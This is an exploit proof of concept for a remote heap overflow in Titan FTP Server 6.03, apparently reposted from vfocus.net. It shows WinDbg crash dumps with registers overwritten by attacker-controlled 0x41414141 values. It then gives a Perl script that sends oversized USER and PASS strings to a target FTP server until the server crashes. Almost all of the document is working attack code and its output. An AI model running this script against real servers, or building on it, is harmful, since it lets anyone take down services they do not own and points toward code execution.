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Titan FTP Server 6.03 (USER/PASS) Remote Heap Overflow PoC
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来源：www.vfocus.net 作者：vfocus 发布时间：2008-02-03
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#Titan FTP SERVER REMOTE HEAP OVERFLOW(USER/PASS)
#Impact : Critical
#
# Windbg Output:
#(bec.528): Access violation - code c0000005 (first chance)
#First chance exceptions are reported before any exception handling.
#This exception may be expected and handled.
#eax=41414141 ebx=00000000 ecx=07e415f4 edx=00000000 esi=41414141 edi=07e415f4
#eip=004bbafa esp=06e4fb38 ebp=06e4fb5c iopl=0 nv up ei pl nz na po nc
#cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010206
#srxTitan+0xbbafa:
#004bbafa 8930 mov [eax],esi ds:0023:41414141=????????
#
# When reconnecting :
#
#(bec.c60): Access violation - code c0000005 (first chance)
#First chance exceptions are reported before any exception handling.
#This exception may be expected and handled.
#eax=004bb991 ebx=00000000 ecx=41414141 edx=0129e4e8 esi=0129e4d4 edi=41414141
#eip=004bb977 esp=0714fe7c ebp=0714fe9c iopl=0 nv up ei pl zr na po nc
#cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010246
#srxTitan+0xbb977:
#004bb977 8b01 mov eax,[ecx] ds:0023:41414141=????????
#
# Server crash after reconnecting.
#
#Here's the Poc
use Net::FTP;
(($target = $ARGV[0])) || die "usage:$0 <target> <port>";
my $user = "A" x 4096;
my $pass = "A" x 22000;
print "Trying to connect to :$target...\n";
$ftp = Net::FTP->new($target, Debug => 0, Port => 21) || die "could not connect";
print "Connected!\n";
$ftp->login($user, $pass);
print "Poc Successfull\n";
$ftp->quit;
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